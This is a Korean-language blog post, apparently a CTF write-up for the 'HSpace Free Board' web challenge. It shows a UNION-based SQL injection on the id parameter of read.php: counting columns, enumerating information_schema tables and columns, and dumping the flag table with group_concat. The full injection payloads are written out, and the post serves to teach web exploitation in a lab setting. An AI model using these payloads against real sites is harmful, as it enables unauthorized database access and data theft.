본문 바로가기

CTF

[HSpace CTF] HSpace Free Board

<문제>

 

<풀이>

문제 사이트에 접속하면 처음으로 보이는 페이지이다.

로그인폼이다.

 

Sign UP 페이지로 이동해서 회원가입을 한다.

 

회원가입한 계정으로 로그인한다.

 

Login success! 라는 알림창이 뜬다.

 

게시판이 있고 포스팅을 할 수 있다.

 

게시물을 하나 만들어본다.

 

Post버튼을 클릭하면 Post done. 알림창이 뜬다.

 

다시 게시판으로 돌아가보면 내가 작성한 글이 올라와있다.

 

게시물을 열어보면 위와 같이 내용을 볼 수 있다.

url을 확인해보면 /read.php가 렌더링되었고 id 파라미터를 전송한 것을 볼 수 있다.

 

id 파라미터를 0으로 바꾸어 본다.

아무 내용도 없는 게시물이 조회된다.

 

id 파라미터에 sql injection을 시도해보면 될 것 같다.

 

우선 컬럼이 몇 개 있는지 찾아본다.

1. id=0 union select null

2. id=0 union select null, null

3. id=0 union select null, null, null

4. id=0 union select null, null, null, null

 

위의 4개의 파라미터 중에 null을 4개 조회했을 때만 err가 발생하지 않는다.

따라서 컬럼 수는 총 4개임을 알 수 있다.

 

id=0 union select 'a', 'b', 'c', 'd'

을 입력해본다.

위와 같이 결과가 나온다.

첫번째 컬럼이 id이고

두번째 컬럼이 title,

세번째 컬럼이 content,

네번째 컬럼이 author 임을 추측할 수 있다.

 

id=0 union select 1,2,(SELECT table_name from information_schema.tables where table_schema=database() limit 0, 1),4--+

위와 같은 파라미터를 보내서

content에 table_name을 출력한다.

 

fl4g1sher3가 테이블명임을 알 수 있다.

 

id=0 union select 1,2,(SELECT column_name FROM information_schema.columns WHERE table_name = 'fl4g1sher3' limit 0,1),4--+

위와 같은 쿼리문으로 컬럼명을 알아냈다.

컬럼명은 fl4g이다.

 

알아낸 테이블명과 컬럼명으로 아래와 같은 쿼리문을 작성했다.

id=0 union select 1,2,(select group_concat(fl4g) from fl4g1sher3),4--+

 

FLAG가 출력된다.

 

'CTF' 카테고리의 다른 글

[ASIS CTF] Grid(미해결)  (0) 2023.09.23
[Pointer Overflow CTF] Easy as it Gets  (0) 2023.09.20
[TJCTF 2023]swill-squill  (0) 2023.05.28
[BYUCTF 2023] Notes (미해결)  (0) 2023.05.27
[Vishwa CTF] Eeezzy(미해결)  (0) 2023.04.02